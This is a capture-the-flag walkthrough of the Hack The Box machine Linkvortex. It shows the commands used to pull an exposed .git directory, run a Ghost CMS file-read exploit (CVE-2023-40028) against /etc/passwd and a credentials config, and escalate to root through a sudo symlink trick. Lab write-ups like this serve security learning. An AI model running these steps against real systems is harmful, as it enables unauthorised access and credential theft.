Easy
Linkvortex [20 pts]
Challenge Description |
Points: 20 |
Solves: 4985 |
- enumeration reveals a hidden subdomain with an admin password in a Git repository, allowing access via a Ghost CMS CVE
- access to the machine enables discovery of a script executable as root
- exploiting a symlink chain leads to reading the root flag
Enumeration
We start with nmap
scan of the box. From the output we can see that there are 2 ports open, SSH and HTTP server.
kali@kali:~/HTB/linkvortex $ nmap -sC -sV -oA nmap/linkvortex 10.10.11.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: BitByBit Hardware
|_http-generator: Ghost 5.58
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP server looks like a normal website, which has 2 main sites home
and about
, which are pretty standard. It also contains blog posts, which are located at separate endpoints. There is also an option to sign into the website, which is not working. However, from the nmap
we can see, that the site uses Ghost CMS. These challenges usually involve looking for a CVE for a particular service used by the server. This box is no exception and for Ghost CMS 5.58 exists publicly available PoC on CVE, which can be found on github. In order to exploit this, we need admin username and password. I started ffuf
to enumerate the original website for directories/files with no success. Next I’ve tried to fuzz for virtual hosts, which yielded the following domain:
kali@kali:~/HTB/linkvortex $ gobuster vhost --append-domain -u http://linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Found: dev.linkvortex.htb Status: 200 [Size: 2538]
Dev subdomain
After adding this subdomain into /etc/hosts
file, we can access it. This site looks empty at first glance, however after another enumeration, we find that the subdomain contains .git
folder.
We can use wget
to recursively download all the files:
wget -r http://dev.linkvortex.htb/.git/
After running git status
inside the downloaded folder we can see that 2 files have been modified:
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
Since these 2 files have been removed, we need to restore them first:
git restore ghost/core/test/regression/api/admin/authentication.test.js
git restore Dockerfile.ghost
We can use git diff
to show, what changes we made to the first file and recover the admin password.
kali@kali:~/HTB/linkvortex $ git diff --cached ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
So the original admin password is OctopiFociPilfer45
. Now we can try the CVE script with username admin@linkvortex.htb
and we can view any files.
kali@kali:~/HTB/linkvortex $ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Now if we go 1 step back to the Dockerfile, we can see that there is a configuration file /var/lib/ghost/config.production.json
mentioned in it. Fetching that gives us the username and password to access the box.
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
Username: bob@linkvortex.htb
Password: fibber-talented-worth
Privilege escalation
After getting on the box, we can check for sudo
permissions:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
We have access to run /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
. Here is a quick review of what the file does:
- first, it checks if the argument (symlink) provided to the program ends in
png
- if yes, it follows the symlink, if it does not contain
etc
orroot
in it’s name - if it doesn’t, it checks the
CHECK_CONTEXT
environment variable and if it’s true it reads the contents of the file
The solution is:
- create a symlink pointing to
/root/root.txt
calledabc
- create another symlink pointing to the file created in previous step, but include full path, e.g
ln -s /home/bob/abc abc.png
- run the command from bob’s home directory
CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
And you get the root flag.